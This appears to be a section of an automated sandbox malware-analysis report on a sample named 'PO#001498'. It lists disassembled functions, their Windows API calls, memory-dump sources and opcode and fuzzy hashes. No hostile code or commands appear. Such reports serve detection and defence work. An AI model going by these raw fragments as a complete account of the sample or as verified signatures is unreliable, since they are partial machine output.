                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                                                                                                                                        Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCursorPos.USER32(?), ref: 004478A7
                                                                                                                                                                                                        • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                                                                                                                                        • GetCursorPos.USER32(?), ref: 00447935
                                                                                                                                                                                                        • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CursorMenuPopupTrack$Proc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1300944170-0
                                                                                                                                                                                                        • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                                                        • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                                                                                                                                        Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                          • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                                                          • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                                                          • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                                                          • Part of subcall function 004413F0: SendMessageW.USER32(02F51AC0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                                                          • Part of subcall function 004413F0: SendMessageW.USER32(02F51AC0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$EnableMessageSend$LongShow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 142311417-0
                                                                                                                                                                                                        • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                                                        • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                                                                                                                                        Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0044955A
                                                                                                                                                                                                          • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 004495C1
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 004495CE
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1843234404-0
                                                                                                                                                                                                        • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                                                        • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                                                                                                                                        Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                                                        • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                                                                                                                                                        Function 00445719 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • IsWindowVisible.USER32(?), ref: 00445721
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 004457A3
                                                                                                                                                                                                        • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3087257052-0
                                                                                                                                                                                                        • Opcode ID: b8615011704e714012d326b35a72e373024cdcb02b0b49a0115346f3c93ca327
                                                                                                                                                                                                        • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b8615011704e714012d326b35a72e373024cdcb02b0b49a0115346f3c93ca327
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                                                                                                                                        Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                                                                                                                                        • GetForegroundWindow.USER32 ref: 00459E07
                                                                                                                                                                                                        • GetDC.USER32(00000000), ref: 00459E44
                                                                                                                                                                                                        • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                                                                                                                                        • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ForegroundPixelRelease
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4156661090-0
                                                                                                                                                                                                        • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                                                        • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                                                                                                                                        Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                                                        • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                                                                                                                                        • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                                                                                                                                        • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 245547762-0
                                                                                                                                                                                                        • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                                                        • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                                                                                                                                        Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                        • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                        • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                        • BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                        • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2338827641-0
                                                                                                                                                                                                        • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                                                        • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                                                                                                                        Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                                                                                                                        • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                                                                                                                        • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2875609808-0
                                                                                                                                                                                                        • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                                                        • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                                                                                                                        Function 0046FCC6 Relevance: 7.5, APIs: 5, Instructions: 49windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$DestroyIcon
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3419509030-0
                                                                                                                                                                                                        • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                                                        • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                                                                                                                                        Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __getptd.LIBCMT ref: 004175AE
                                                                                                                                                                                                          • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                                                          • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                                                        • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                                                                                                                        • __lock.LIBCMT ref: 004175DE
                                                                                                                                                                                                        • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                                                                                                                        • InterlockedIncrement.KERNEL32(02F52D88), ref: 00417626
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4271482742-0
                                                                                                                                                                                                        • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                                                                        • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                                                                                                                        Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4023252218-0
                                                                                                                                                                                                        • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                                                        • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                                                                                                                                        Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                                                                                                                                        • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                                                                                                                                        • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                                                                                                                                        • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
